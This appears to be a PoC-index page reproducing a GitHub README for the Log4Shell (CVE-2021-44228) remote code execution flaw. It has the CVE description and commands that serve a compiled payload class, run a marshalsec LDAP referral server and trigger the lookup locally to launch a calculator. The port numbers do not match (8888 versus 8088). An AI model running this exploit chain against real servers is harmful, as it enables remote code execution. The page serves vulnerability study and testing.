CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source

https://github.com/lonecloud/CVE-2021-44228-Apache-Log4j

Associated Vulnerability

Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

Description

CVE-2021-44228-Apache-Log4j

Readme

# CVE-2021-44228(Apache Log4j Remote Code Execution）
Versions Affected: all versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0

[Security Advisories / Bulletins linked to Log4Shell (CVE-2021-44228)](https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592)

### Usage:

1. 下载该项目，编译InjectClazz.java

```shell
# download
git clone http://github.com/lonecloud/CVE-2021-44228-Apache-Log4j
cd CVE-2021-44228-Apache-Log4j
javac InjectClazz.java

```

2. 在InjectClazz所在目录下启动web服务器
```shell
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# 
```

3. 下载LDAP 服务器
```shell script
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8088/#InjectClazz" 1389
```
4. 运行项目
```
cd CCVE-2021-44228-Apache-Log4j
mvn clean package
java -cp target/CVE-2021-44228-Apache-Log4j-1.0-SNAPSHOT-all.jar Log4jAceMain


# expect the following
# 1. calculator app appear
# 2. in ldapserver console,
Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8088/InjectClazz.class
# 3. in webserver console,
#  127.0.0.1 - - [....] "GET /InjectClazz.class HTTP/1.1" 200 -

```

File Snapshot


 [4.0K]  /data/pocs/916ce7d0bb00585f9633b0cb6caadc34cb8819a5
├── [ 479]  InjectClazz.java
├── [2.1K]  pom.xml
├── [1.3K]  README.md
└── [4.0K]  src
    └── [4.0K]  main
        └── [4.0K]  java
            ├── [ 447]  InjectClazz.java
            └── [ 468]  Log4jAceMain.java

3 directories, 5 files

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